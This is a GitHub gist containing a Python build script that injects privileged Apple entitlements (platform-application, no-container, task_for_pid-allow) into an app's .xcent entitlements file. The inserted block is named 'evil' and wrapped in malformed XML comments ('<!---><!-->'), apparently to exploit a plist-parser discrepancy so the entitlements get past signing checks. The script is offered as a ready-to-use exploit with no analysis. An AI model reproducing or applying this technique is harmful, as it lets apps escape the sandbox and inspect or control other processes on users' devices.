-
-
Save dlevi309/ab5e051a47ccf81a6f263a4b8b6bf2ad to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
# preinstalled python is python2 | |
filename = '/'.join(map(os.environ.get, ('TARGET_TEMP_DIR', 'FULL_PRODUCT_NAME'))) + '.xcent' | |
evil = ''' | |
<!---><!--> | |
<key>platform-application</key> | |
<true/> | |
<key>com.apple.private.security.no-container</key> | |
<true/> | |
<key>task_for_pid-allow</key> | |
<true/> | |
<!-- --> | |
''' | |
with open(filename, 'r') as fp: | |
buf = fp.read() | |
cursor = buf.rfind('</dict>') | |
output = buf[0:cursor] + evil + buf[cursor:] | |
with open(filename, 'w') as fp: | |
fp.write(output) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment